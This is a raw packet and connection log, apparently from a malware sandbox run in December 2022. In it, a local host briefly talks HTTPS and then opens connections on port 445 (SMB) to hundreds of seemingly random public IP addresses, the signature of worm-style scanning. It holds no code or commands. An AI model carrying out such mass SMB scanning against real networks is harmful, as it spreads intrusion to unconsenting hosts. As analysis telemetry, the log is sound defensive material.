Dec 22, 2022 10:04:00.278569937 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.278609037 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.278628111 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.278636932 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.278738022 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.278748035 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.309819937 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.309967041 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.310035944 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.310106039 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.310169935 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.473102093 CET	50407	445	192.168.2.6	13.183.31.142
Dec 22, 2022 10:04:00.691687107 CET	50408	445	192.168.2.6	222.51.181.41
Dec 22, 2022 10:04:00.724052906 CET	50409	445	192.168.2.6	63.138.106.242
Dec 22, 2022 10:04:00.926244020 CET	50410	445	192.168.2.6	85.50.134.135
Dec 22, 2022 10:04:00.926408052 CET	50411	445	192.168.2.6	155.111.60.171
Dec 22, 2022 10:04:01.161060095 CET	50412	445	192.168.2.6	20.178.51.139
Dec 22, 2022 10:04:01.161125898 CET	50413	445	192.168.2.6	162.115.60.162
Dec 22, 2022 10:04:01.176270962 CET	50415	445	192.168.2.6	68.39.227.146
Dec 22, 2022 10:04:01.176429033 CET	50416	445	192.168.2.6	212.195.19.239
Dec 22, 2022 10:04:01.176542044 CET	50417	445	192.168.2.6	153.171.140.50
Dec 22, 2022 10:04:01.176655054 CET	50418	445	192.168.2.6	211.187.29.10
Dec 22, 2022 10:04:01.176713943 CET	50419	445	192.168.2.6	112.191.164.71
Dec 22, 2022 10:04:01.176810980 CET	50420	445	192.168.2.6	121.132.189.207
Dec 22, 2022 10:04:01.176904917 CET	50421	445	192.168.2.6	205.4.251.96
Dec 22, 2022 10:04:01.176981926 CET	50422	445	192.168.2.6	189.100.210.205
Dec 22, 2022 10:04:01.177584887 CET	50423	445	192.168.2.6	161.254.230.12
Dec 22, 2022 10:04:01.178142071 CET	50424	445	192.168.2.6	99.47.147.236
Dec 22, 2022 10:04:01.178721905 CET	50425	445	192.168.2.6	165.6.181.37
Dec 22, 2022 10:04:01.179209948 CET	50426	445	192.168.2.6	215.87.83.71
Dec 22, 2022 10:04:01.179697990 CET	50427	445	192.168.2.6	48.120.0.144
Dec 22, 2022 10:04:01.379283905 CET	50428	445	192.168.2.6	84.131.236.214
Dec 22, 2022 10:04:01.598628998 CET	50429	445	192.168.2.6	13.205.215.37
Dec 22, 2022 10:04:01.802382946 CET	50430	445	192.168.2.6	125.107.247.49
Dec 22, 2022 10:04:01.833074093 CET	50431	445	192.168.2.6	109.33.84.171
Dec 22, 2022 10:04:02.037374020 CET	50432	445	192.168.2.6	12.196.192.125
Dec 22, 2022 10:04:02.037712097 CET	50433	445	192.168.2.6	206.75.189.202
Dec 22, 2022 10:04:02.358701944 CET	50434	445	192.168.2.6	101.37.53.53
Dec 22, 2022 10:04:02.359363079 CET	50435	445	192.168.2.6	110.81.132.173
Dec 22, 2022 10:04:02.462012053 CET	50436	445	192.168.2.6	193.100.205.83
Dec 22, 2022 10:04:02.462516069 CET	50437	445	192.168.2.6	106.39.10.125
Dec 22, 2022 10:04:02.462771893 CET	50438	445	192.168.2.6	9.58.220.157
Dec 22, 2022 10:04:02.463059902 CET	50439	445	192.168.2.6	133.54.167.215
Dec 22, 2022 10:04:02.463448048 CET	50440	445	192.168.2.6	42.23.171.97
Dec 22, 2022 10:04:02.463722944 CET	50441	445	192.168.2.6	218.195.72.159
Dec 22, 2022 10:04:02.464015007 CET	50442	445	192.168.2.6	199.95.17.113
Dec 22, 2022 10:04:02.464549065 CET	50443	445	192.168.2.6	15.139.32.54
Dec 22, 2022 10:04:02.464788914 CET	50444	445	192.168.2.6	65.184.56.82
Dec 22, 2022 10:04:02.466126919 CET	50445	445	192.168.2.6	70.223.103.222
Dec 22, 2022 10:04:02.467411041 CET	50446	445	192.168.2.6	202.160.137.78
Dec 22, 2022 10:04:02.468899012 CET	50447	445	192.168.2.6	12.122.180.5
Dec 22, 2022 10:04:02.470155001 CET	50448	445	192.168.2.6	181.133.41.194
Dec 22, 2022 10:04:02.471625090 CET	50449	445	192.168.2.6	117.153.166.97
Dec 22, 2022 10:04:02.535698891 CET	50450	445	192.168.2.6	99.80.160.224
Dec 22, 2022 10:04:02.758184910 CET	50451	445	192.168.2.6	18.74.252.233
Dec 22, 2022 10:04:02.770334005 CET	50452	445	192.168.2.6	14.242.94.28
Dec 22, 2022 10:04:02.938739061 CET	50453	445	192.168.2.6	109.6.146.199
Dec 22, 2022 10:04:02.999953032 CET	50454	445	192.168.2.6	73.128.223.111
Dec 22, 2022 10:04:03.842633009 CET	50455	445	192.168.2.6	183.136.122.157
Dec 22, 2022 10:04:03.842726946 CET	50456	445	192.168.2.6	37.86.195.120
Dec 22, 2022 10:04:03.947871923 CET	50457	445	192.168.2.6	170.93.119.97
Dec 22, 2022 10:04:03.948117018 CET	50459	445	192.168.2.6	212.152.146.148
Dec 22, 2022 10:04:03.948247910 CET	50458	445	192.168.2.6	66.11.244.182
Dec 22, 2022 10:04:03.948256016 CET	50460	445	192.168.2.6	208.153.157.85
Dec 22, 2022 10:04:03.948381901 CET	50461	445	192.168.2.6	19.44.51.0
Dec 22, 2022 10:04:03.948817968 CET	50463	445	192.168.2.6	140.128.214.196
Dec 22, 2022 10:04:03.948905945 CET	50464	445	192.168.2.6	66.38.73.241
Dec 22, 2022 10:04:03.948909044 CET	50462	445	192.168.2.6	209.198.106.80
Dec 22, 2022 10:04:03.949007034 CET	50465	445	192.168.2.6	51.118.60.208
Dec 22, 2022 10:04:03.949096918 CET	50466	445	192.168.2.6	76.193.159.122
Dec 22, 2022 10:04:03.949214935 CET	50467	445	192.168.2.6	158.188.42.197
Dec 22, 2022 10:04:03.949354887 CET	50468	445	192.168.2.6	95.208.163.161
Dec 22, 2022 10:04:03.949537039 CET	50469	445	192.168.2.6	135.44.185.169
Dec 22, 2022 10:04:03.950247049 CET	50470	445	192.168.2.6	124.251.56.27
Dec 22, 2022 10:04:03.963550091 CET	50471	445	192.168.2.6	82.47.143.93
Dec 22, 2022 10:04:03.964067936 CET	50472	445	192.168.2.6	169.249.214.217
Dec 22, 2022 10:04:03.964648962 CET	50473	445	192.168.2.6	202.63.209.181
Dec 22, 2022 10:04:03.965264082 CET	50474	445	192.168.2.6	50.86.0.27
Dec 22, 2022 10:04:03.965759993 CET	50475	445	192.168.2.6	101.184.137.195
Dec 22, 2022 10:04:04.051383972 CET	50476	445	192.168.2.6	8.2.209.230
Dec 22, 2022 10:04:04.165364027 CET	50477	445	192.168.2.6	12.49.151.97
Dec 22, 2022 10:04:06.047966003 CET	50478	445	192.168.2.6	195.161.46.128
Dec 22, 2022 10:04:06.264754057 CET	50479	445	192.168.2.6	97.6.214.112
Dec 22, 2022 10:04:06.265002966 CET	50480	445	192.168.2.6	110.93.185.169
Dec 22, 2022 10:04:06.265223026 CET	50481	445	192.168.2.6	55.228.10.55
Dec 22, 2022 10:04:06.265404940 CET	50482	445	192.168.2.6	98.163.44.68
Dec 22, 2022 10:04:06.265609026 CET	50483	445	192.168.2.6	151.204.59.1
Dec 22, 2022 10:04:06.265803099 CET	50484	445	192.168.2.6	158.152.121.58
Dec 22, 2022 10:04:06.265945911 CET	50485	445	192.168.2.6	31.151.180.197
Dec 22, 2022 10:04:06.266148090 CET	50486	445	192.168.2.6	158.41.157.93
Dec 22, 2022 10:04:06.266328096 CET	50487	445	192.168.2.6	159.54.253.176
Dec 22, 2022 10:04:06.266477108 CET	50488	445	192.168.2.6	112.237.134.104
Dec 22, 2022 10:04:06.266666889 CET	50489	445	192.168.2.6	6.152.71.115
Dec 22, 2022 10:04:06.266869068 CET	50490	445	192.168.2.6	56.194.184.115
Dec 22, 2022 10:04:06.267581940 CET	50491	445	192.168.2.6	148.90.125.157
Dec 22, 2022 10:04:06.267796040 CET	50492	445	192.168.2.6	83.203.146.103
Dec 22, 2022 10:04:06.268125057 CET	50493	445	192.168.2.6	108.5.75.100
Dec 22, 2022 10:04:06.268340111 CET	50494	445	192.168.2.6	203.231.17.126
Dec 22, 2022 10:04:06.268590927 CET	50495	445	192.168.2.6	36.187.168.80
Dec 22, 2022 10:04:06.269351006 CET	50496	445	192.168.2.6	25.161.203.253
Dec 22, 2022 10:04:06.270572901 CET	50497	445	192.168.2.6	165.166.63.86
Dec 22, 2022 10:04:06.271619081 CET	50498	445	192.168.2.6	135.59.229.105
Dec 22, 2022 10:04:06.272583008 CET	50499	445	192.168.2.6	189.100.27.72
Dec 22, 2022 10:04:06.273546934 CET	50500	445	192.168.2.6	199.82.202.154
Dec 22, 2022 10:04:06.274451017 CET	50501	445	192.168.2.6	26.161.11.161
Dec 22, 2022 10:04:07.083373070 CET	445	49961	91.183.92.216	192.168.2.6
Dec 22, 2022 10:04:07.177061081 CET	50502	445	192.168.2.6	95.165.151.29
Dec 22, 2022 10:04:07.367244005 CET	50505	445	192.168.2.6	223.16.193.152
Dec 22, 2022 10:04:07.367264986 CET	50503	445	192.168.2.6	71.252.141.122
Dec 22, 2022 10:04:07.367340088 CET	50504	445	192.168.2.6	1.10.204.240
Dec 22, 2022 10:04:07.367424011 CET	50507	445	192.168.2.6	221.2.153.192
Dec 22, 2022 10:04:07.367448092 CET	50506	445	192.168.2.6	194.172.131.77
Dec 22, 2022 10:04:07.367563009 CET	50508	445	192.168.2.6	16.0.47.178
Dec 22, 2022 10:04:07.367634058 CET	50510	445	192.168.2.6	82.179.79.83
Dec 22, 2022 10:04:07.367676973 CET	50511	445	192.168.2.6	38.153.221.112
Dec 22, 2022 10:04:07.367769003 CET	50512	445	192.168.2.6	137.141.20.140
Dec 22, 2022 10:04:07.367804050 CET	50513	445	192.168.2.6	182.101.59.114
Dec 22, 2022 10:04:07.367852926 CET	50514	445	192.168.2.6	196.5.241.54
Dec 22, 2022 10:04:07.367892027 CET	50509	445	192.168.2.6	153.205.133.145
Dec 22, 2022 10:04:07.367979050 CET	50515	445	192.168.2.6	101.29.83.151
Dec 22, 2022 10:04:07.368026972 CET	50516	445	192.168.2.6	176.150.2.240
Dec 22, 2022 10:04:07.368119955 CET	50517	445	192.168.2.6	46.159.245.17
Dec 22, 2022 10:04:07.368218899 CET	50519	445	192.168.2.6	80.123.182.238
Dec 22, 2022 10:04:07.368465900 CET	50518	445	192.168.2.6	36.133.70.181
Dec 22, 2022 10:04:07.368768930 CET	50520	445	192.168.2.6	201.171.96.94
Dec 22, 2022 10:04:07.382292986 CET	50521	445	192.168.2.6	206.16.186.89
Dec 22, 2022 10:04:07.383070946 CET	50522	445	192.168.2.6	176.27.26.33
Dec 22, 2022 10:04:07.383719921 CET	50523	445	192.168.2.6	21.46.184.163
Dec 22, 2022 10:04:07.384099960 CET	50525	445	192.168.2.6	222.62.7.208
Dec 22, 2022 10:04:07.384316921 CET	50524	445	192.168.2.6	17.64.41.122
Dec 22, 2022 10:04:08.052918911 CET	50526	445	192.168.2.6	70.163.133.163
Dec 22, 2022 10:04:08.303260088 CET	50527	445	192.168.2.6	44.94.44.153
Dec 22, 2022 10:04:08.490256071 CET	50528	445	192.168.2.6	86.89.77.22
Dec 22, 2022 10:04:08.490598917 CET	50530	445	192.168.2.6	12.201.99.97
Dec 22, 2022 10:04:08.490725994 CET	50529	445	192.168.2.6	125.233.173.187
Dec 22, 2022 10:04:08.490916967 CET	50531	445	192.168.2.6	210.58.209.195
Dec 22, 2022 10:04:08.491009951 CET	50532	445	192.168.2.6	116.84.0.177
Dec 22, 2022 10:04:08.491161108 CET	50533	445	192.168.2.6	23.96.55.190
Dec 22, 2022 10:04:08.491375923 CET	50534	445	192.168.2.6	153.208.223.78
Dec 22, 2022 10:04:08.491524935 CET	50535	445	192.168.2.6	116.72.7.88
Dec 22, 2022 10:04:08.491667986 CET	50536	445	192.168.2.6	194.67.1.2
Dec 22, 2022 10:04:08.491801023 CET	50537	445	192.168.2.6	112.243.202.231
Dec 22, 2022 10:04:08.491998911 CET	50538	445	192.168.2.6	138.10.22.148
Dec 22, 2022 10:04:08.492192984 CET	50539	445	192.168.2.6	118.45.241.93
Dec 22, 2022 10:04:08.492541075 CET	50540	445	192.168.2.6	190.225.176.37
Dec 22, 2022 10:04:08.492696047 CET	50542	445	192.168.2.6	136.70.181.253
Dec 22, 2022 10:04:08.493287086 CET	50541	445	192.168.2.6	23.50.146.206
Dec 22, 2022 10:04:08.493405104 CET	50543	445	192.168.2.6	197.226.198.213
Dec 22, 2022 10:04:08.493649006 CET	50544	445	192.168.2.6	36.201.223.70
Dec 22, 2022 10:04:08.494410992 CET	50545	445	192.168.2.6	40.29.152.102
Dec 22, 2022 10:04:08.517535925 CET	50546	445	192.168.2.6	119.128.203.90
Dec 22, 2022 10:04:08.517851114 CET	50547	445	192.168.2.6	39.155.40.133
Dec 22, 2022 10:04:08.517848969 CET	50548	445	192.168.2.6	198.33.129.171
Dec 22, 2022 10:04:08.517916918 CET	50549	445	192.168.2.6	69.76.83.29
Dec 22, 2022 10:04:08.518177032 CET	50550	445	192.168.2.6	215.209.46.110
Dec 22, 2022 10:04:09.171263933 CET	50551	445	192.168.2.6	134.232.40.58
Dec 22, 2022 10:04:09.411525965 CET	50552	445	192.168.2.6	205.174.114.30
Dec 22, 2022 10:04:09.614723921 CET	50553	445	192.168.2.6	52.178.222.216
Dec 22, 2022 10:04:09.615122080 CET	50554	445	192.168.2.6	21.27.249.21
Dec 22, 2022 10:04:09.615263939 CET	50555	445	192.168.2.6	208.17.97.178
Dec 22, 2022 10:04:09.615463018 CET	50556	445	192.168.2.6	54.241.171.239
Dec 22, 2022 10:04:09.615621090 CET	50557	445	192.168.2.6	37.85.203.253
Dec 22, 2022 10:04:09.615732908 CET	50558	445	192.168.2.6	206.168.246.213
Dec 22, 2022 10:04:09.615879059 CET	50559	445	192.168.2.6	8.237.95.218
Dec 22, 2022 10:04:09.615963936 CET	50560	445	192.168.2.6	86.4.14.81
Dec 22, 2022 10:04:09.616089106 CET	50561	445	192.168.2.6	77.127.150.49
Dec 22, 2022 10:04:09.616322994 CET	50563	445	192.168.2.6	187.226.223.94
Dec 22, 2022 10:04:09.616446018 CET	50564	445	192.168.2.6	2.189.204.69
Dec 22, 2022 10:04:09.616689920 CET	50565	445	192.168.2.6	168.51.252.193
Dec 22, 2022 10:04:09.616930962 CET	50566	445	192.168.2.6	98.85.13.33
Dec 22, 2022 10:04:09.617166996 CET	50567	445	192.168.2.6	27.135.183.150
Dec 22, 2022 10:04:09.617654085 CET	50568	445	192.168.2.6	199.57.154.208
Dec 22, 2022 10:04:09.618088961 CET	50569	445	192.168.2.6	191.24.19.209
Dec 22, 2022 10:04:09.618446112 CET	50570	445	192.168.2.6	172.229.66.128
Dec 22, 2022 10:04:09.631597042 CET	50571	445	192.168.2.6	200.193.204.229
Dec 22, 2022 10:04:09.631684065 CET	50573	445	192.168.2.6	89.123.222.232
Dec 22, 2022 10:04:09.631699085 CET	50572	445	192.168.2.6	186.66.237.31
Dec 22, 2022 10:04:09.631716013 CET	50574	445	192.168.2.6	126.178.80.108
Dec 22, 2022 10:04:09.631753922 CET	50575	445	192.168.2.6	47.58.36.28
Dec 22, 2022 10:04:09.641433001 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.641501904 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.641606092 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.642648935 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.642679930 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.750942945 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.751046896 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.754668951 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.754719019 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.755129099 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.759604931 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.759641886 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.759744883 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.759757996 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.760051966 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.760066032 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.789413929 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.789513111 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:09.789639950 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.791431904 CET	50576	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:04:09.791466951 CET	443	50576	20.90.156.32	192.168.2.6
Dec 22, 2022 10:04:10.072500944 CET	50577	445	192.168.2.6	118.64.6.17
Dec 22, 2022 10:04:10.287030935 CET	50578	445	192.168.2.6	149.198.223.206
Dec 22, 2022 10:04:10.537098885 CET	50579	445	192.168.2.6	117.93.168.9
Dec 22, 2022 10:04:10.739717960 CET	50580	445	192.168.2.6	15.65.60.139
Dec 22, 2022 10:04:10.739825010 CET	50581	445	192.168.2.6	214.252.245.228
Dec 22, 2022 10:04:10.739923954 CET	50582	445	192.168.2.6	135.225.41.246
Dec 22, 2022 10:04:10.740032911 CET	50583	445	192.168.2.6	106.156.72.177
Dec 22, 2022 10:04:10.740255117 CET	50585	445	192.168.2.6	99.135.78.165
Dec 22, 2022 10:04:10.740319014 CET	50586	445	192.168.2.6	61.215.147.148
Dec 22, 2022 10:04:10.740395069 CET	50584	445	192.168.2.6	110.170.31.143
Dec 22, 2022 10:04:10.740413904 CET	50587	445	192.168.2.6	80.97.107.126
Dec 22, 2022 10:04:10.740513086 CET	50588	445	192.168.2.6	83.138.147.180
Dec 22, 2022 10:04:10.740680933 CET	50589	445	192.168.2.6	85.220.154.123
Dec 22, 2022 10:04:10.740761995 CET	50590	445	192.168.2.6	77.78.198.126
Dec 22, 2022 10:04:10.740946054 CET	50591	445	192.168.2.6	120.245.239.118
Dec 22, 2022 10:04:10.741008997 CET	50592	445	192.168.2.6	188.49.12.148
Dec 22, 2022 10:04:10.741050959 CET	50593	445	192.168.2.6	114.55.180.54
Dec 22, 2022 10:04:10.741142988 CET	50594	445	192.168.2.6	108.121.96.14
Dec 22, 2022 10:04:10.741272926 CET	50595	445	192.168.2.6	78.24.247.244
Dec 22, 2022 10:04:10.741714954 CET	50596	445	192.168.2.6	96.82.3.223
Dec 22, 2022 10:04:10.751578093 CET	50597	445	192.168.2.6	81.0.16.247
Dec 22, 2022 10:04:10.751646996 CET	50598	445	192.168.2.6	9.246.223.229
Dec 22, 2022 10:04:10.751693964 CET	50599	445	192.168.2.6	177.29.69.111
Dec 22, 2022 10:04:10.751702070 CET	50600	445	192.168.2.6	36.214.169.215
Dec 22, 2022 10:04:10.751813889 CET	50601	445	192.168.2.6	32.213.193.175
Dec 22, 2022 10:04:10.751907110 CET	50602	445	192.168.2.6	217.21.253.96
Dec 22, 2022 10:04:11.178885937 CET	50603	445	192.168.2.6	144.167.11.199
Dec 22, 2022 10:04:11.396754026 CET	50604	445	192.168.2.6	135.239.215.216
Dec 22, 2022 10:04:11.647902966 CET	50605	445	192.168.2.6	213.119.96.217
Dec 22, 2022 10:04:11.853406906 CET	50606	445	192.168.2.6	66.204.141.222
Dec 22, 2022 10:04:11.854840994 CET	50607	445	192.168.2.6	89.171.10.251
Dec 22, 2022 10:04:11.856084108 CET	50608	445	192.168.2.6	137.109.198.153
Dec 22, 2022 10:04:11.856297016 CET	50609	445	192.168.2.6	164.14.137.43
Dec 22, 2022 10:04:11.856569052 CET	50610	445	192.168.2.6	49.239.218.240
Dec 22, 2022 10:04:11.856614113 CET	50611	445	192.168.2.6	2.77.88.156
Dec 22, 2022 10:04:11.857011080 CET	50612	445	192.168.2.6	88.159.194.160
Dec 22, 2022 10:04:11.857214928 CET	50613	445	192.168.2.6	34.161.245.237
Dec 22, 2022 10:04:11.857347965 CET	50614	445	192.168.2.6	58.138.106.124
Dec 22, 2022 10:04:11.857347965 CET	50615	445	192.168.2.6	196.9.236.248
Dec 22, 2022 10:04:11.857568026 CET	50616	445	192.168.2.6	120.58.71.175
Dec 22, 2022 10:04:11.857589006 CET	50617	445	192.168.2.6	104.42.235.238
Dec 22, 2022 10:04:11.857887030 CET	50618	445	192.168.2.6	50.186.240.145
Dec 22, 2022 10:04:11.857974052 CET	50619	445	192.168.2.6	60.134.80.253
Dec 22, 2022 10:04:11.857989073 CET	50620	445	192.168.2.6	201.6.218.113
Dec 22, 2022 10:04:11.858000994 CET	50621	445	192.168.2.6	132.239.211.218
Dec 22, 2022 10:04:11.858124971 CET	50622	445	192.168.2.6	177.200.126.111
Dec 22, 2022 10:04:11.858225107 CET	50623	445	192.168.2.6	77.33.196.144
Dec 22, 2022 10:04:11.859148979 CET	50624	445	192.168.2.6	97.208.169.84
Dec 22, 2022 10:04:11.860214949 CET	50625	445	192.168.2.6	67.196.182.21
Dec 22, 2022 10:04:11.860228062 CET	50626	445	192.168.2.6	107.188.176.211
Dec 22, 2022 10:04:11.860286951 CET	50627	445	192.168.2.6	1.209.37.71
Dec 22, 2022 10:04:11.860348940 CET	50628	445	192.168.2.6	198.80.120.36
Dec 22, 2022 10:04:12.085732937 CET	50629	445	192.168.2.6	212.228.20.113
Dec 22, 2022 10:04:12.153065920 CET	445	50619	60.134.80.253	192.168.2.6
Dec 22, 2022 10:04:12.303668976 CET	50630	445	192.168.2.6	8.231.145.105
Dec 22, 2022 10:04:12.509879112 CET	50631	445	192.168.2.6	4.47.32.13
Dec 22, 2022 10:04:12.661309958 CET	50619	445	192.168.2.6	60.134.80.253
Dec 22, 2022 10:04:12.771339893 CET	50632	445	192.168.2.6	69.181.220.124
Dec 22, 2022 10:04:12.956743956 CET	445	50619	60.134.80.253	192.168.2.6
Dec 22, 2022 10:04:12.975008011 CET	50633	445	192.168.2.6	3.14.138.132
Dec 22, 2022 10:04:12.975748062 CET	50634	445	192.168.2.6	141.63.152.75
Dec 22, 2022 10:04:12.975984097 CET	50635	445	192.168.2.6	52.85.173.186
Dec 22, 2022 10:04:12.976210117 CET	50636	445	192.168.2.6	200.90.96.89
Dec 22, 2022 10:04:12.976389885 CET	50637	445	192.168.2.6	202.6.17.103
Dec 22, 2022 10:04:12.976490974 CET	50638	445	192.168.2.6	130.159.112.0
Dec 22, 2022 10:04:12.977078915 CET	50641	445	192.168.2.6	148.133.74.160
Dec 22, 2022 10:04:12.977200031 CET	50643	445	192.168.2.6	97.210.95.152
Dec 22, 2022 10:04:12.977202892 CET	50639	445	192.168.2.6	181.21.245.187
Dec 22, 2022 10:04:12.977298021 CET	50644	445	192.168.2.6	73.210.139.30
Dec 22, 2022 10:04:12.977453947 CET	50642	445	192.168.2.6	152.85.253.175
Dec 22, 2022 10:04:12.977498055 CET	50640	445	192.168.2.6	166.77.205.69
Dec 22, 2022 10:04:12.977498055 CET	50645	445	192.168.2.6	135.213.16.215
Dec 22, 2022 10:04:12.977920055 CET	50646	445	192.168.2.6	153.123.197.130
Dec 22, 2022 10:04:12.977920055 CET	50647	445	192.168.2.6	100.211.22.222
Dec 22, 2022 10:04:12.978033066 CET	50648	445	192.168.2.6	14.65.60.238
Dec 22, 2022 10:04:12.978135109 CET	50649	445	192.168.2.6	131.64.55.13
Dec 22, 2022 10:04:12.978529930 CET	50650	445	192.168.2.6	40.104.122.238
Dec 22, 2022 10:04:12.978997946 CET	50651	445	192.168.2.6	158.87.211.198
Dec 22, 2022 10:04:12.979574919 CET	50652	445	192.168.2.6	174.101.63.39
Dec 22, 2022 10:04:12.980319023 CET	50653	445	192.168.2.6	202.157.107.140
Dec 22, 2022 10:04:12.981064081 CET	50654	445	192.168.2.6	190.130.177.143
Dec 22, 2022 10:04:12.981741905 CET	50655	445	192.168.2.6	51.239.225.53
Dec 22, 2022 10:04:13.208729029 CET	50656	445	192.168.2.6	217.110.185.85
Dec 22, 2022 10:04:13.427583933 CET	50657	445	192.168.2.6	113.58.205.4
Dec 22, 2022 10:04:13.615221977 CET	50658	445	192.168.2.6	71.199.102.238
Dec 22, 2022 10:04:13.881753922 CET	50659	445	192.168.2.6	45.217.58.236
Dec 22, 2022 10:04:14.099611998 CET	50660	445	192.168.2.6	19.13.3.212
Dec 22, 2022 10:04:14.100272894 CET	50661	445	192.168.2.6	184.134.28.230
Dec 22, 2022 10:04:14.100445986 CET	50662	445	192.168.2.6	162.156.167.101
Dec 22, 2022 10:04:14.100673914 CET	50663	445	192.168.2.6	203.60.66.210
Dec 22, 2022 10:04:14.100713968 CET	50664	445	192.168.2.6	125.28.119.95
Dec 22, 2022 10:04:14.100819111 CET	50666	445	192.168.2.6	26.126.171.74
Dec 22, 2022 10:04:14.100874901 CET	50665	445	192.168.2.6	103.56.233.104
Dec 22, 2022 10:04:14.100992918 CET	50667	445	192.168.2.6	45.130.76.33
Dec 22, 2022 10:04:14.101157904 CET	50668	445	192.168.2.6	6.79.51.83
Dec 22, 2022 10:04:14.101262093 CET	50669	445	192.168.2.6	70.96.77.138
Dec 22, 2022 10:04:14.101454973 CET	50670	445	192.168.2.6	171.122.51.84
Dec 22, 2022 10:04:14.101454973 CET	50671	445	192.168.2.6	113.95.20.145
Dec 22, 2022 10:04:14.101602077 CET	50672	445	192.168.2.6	141.32.233.166
Dec 22, 2022 10:04:14.101741076 CET	50673	445	192.168.2.6	73.216.36.17
Dec 22, 2022 10:04:14.101809025 CET	50674	445	192.168.2.6	134.131.53.78
Dec 22, 2022 10:04:14.101914883 CET	50675	445	192.168.2.6	123.101.202.82
Dec 22, 2022 10:04:14.102142096 CET	50676	445	192.168.2.6	172.177.21.251
Dec 22, 2022 10:04:14.102196932 CET	50677	445	192.168.2.6	74.58.254.228
Dec 22, 2022 10:04:14.102821112 CET	50678	445	192.168.2.6	34.194.190.239
Dec 22, 2022 10:04:14.103409052 CET	50679	445	192.168.2.6	129.10.199.108
Dec 22, 2022 10:04:14.105156898 CET	50680	445	192.168.2.6	107.121.237.241
Dec 22, 2022 10:04:14.116316080 CET	50681	445	192.168.2.6	19.123.139.240
Dec 22, 2022 10:04:14.116741896 CET	50682	445	192.168.2.6	103.215.48.248
Dec 22, 2022 10:04:14.117299080 CET	50683	445	192.168.2.6	108.78.236.53
Dec 22, 2022 10:04:14.318017006 CET	50684	445	192.168.2.6	104.68.228.71
Dec 22, 2022 10:04:14.538168907 CET	50685	445	192.168.2.6	172.47.243.171
Dec 22, 2022 10:04:14.739820004 CET	50686	445	192.168.2.6	209.62.199.25
Dec 22, 2022 10:04:15.007905960 CET	50687	445	192.168.2.6	222.198.106.174
Dec 22, 2022 10:04:15.228045940 CET	50688	445	192.168.2.6	28.4.211.177
Dec 22, 2022 10:04:15.228653908 CET	50689	445	192.168.2.6	111.19.184.76
Dec 22, 2022 10:04:15.228854895 CET	50690	445	192.168.2.6	165.73.81.200
Dec 22, 2022 10:04:15.228935003 CET	50691	445	192.168.2.6	178.249.142.125
Dec 22, 2022 10:04:15.229031086 CET	50692	445	192.168.2.6	177.132.209.117
Dec 22, 2022 10:04:15.229125023 CET	50693	445	192.168.2.6	85.200.197.76
Dec 22, 2022 10:04:15.229238987 CET	50694	445	192.168.2.6	39.238.118.81
Dec 22, 2022 10:04:15.229284048 CET	50695	445	192.168.2.6	205.138.36.89
Dec 22, 2022 10:04:15.229356050 CET	50696	445	192.168.2.6	73.130.1.167
Dec 22, 2022 10:04:15.229459047 CET	50697	445	192.168.2.6	197.240.211.247
Dec 22, 2022 10:04:15.229605913 CET	50698	445	192.168.2.6	69.174.220.159
Dec 22, 2022 10:04:15.229609966 CET	50699	445	192.168.2.6	177.232.196.203
Dec 22, 2022 10:04:15.229945898 CET	50700	445	192.168.2.6	198.246.222.208
Dec 22, 2022 10:04:15.229985952 CET	50701	445	192.168.2.6	208.67.18.246
Dec 22, 2022 10:04:15.230295897 CET	50702	445	192.168.2.6	187.125.121.236
Dec 22, 2022 10:04:15.230457067 CET	50703	445	192.168.2.6	141.16.229.37
Dec 22, 2022 10:04:15.230457067 CET	50704	445	192.168.2.6	17.123.81.145
Dec 22, 2022 10:04:15.230616093 CET	50705	445	192.168.2.6	119.218.71.162
Dec 22, 2022 10:04:15.231832027 CET	50706	445	192.168.2.6	65.115.56.68
Dec 22, 2022 10:04:15.232299089 CET	50707	445	192.168.2.6	207.37.190.200
Dec 22, 2022 10:04:15.232600927 CET	50708	445	192.168.2.6	75.14.175.140
Dec 22, 2022 10:04:15.241044044 CET	50709	445	192.168.2.6	43.244.128.229
Dec 22, 2022 10:04:15.241699934 CET	50710	445	192.168.2.6	72.66.79.132
Dec 22, 2022 10:04:15.242527962 CET	50711	445	192.168.2.6	222.184.223.121
Dec 22, 2022 10:04:15.427414894 CET	50712	445	192.168.2.6	202.8.74.205
Dec 22, 2022 10:04:15.447572947 CET	445	50690	165.73.81.200	192.168.2.6
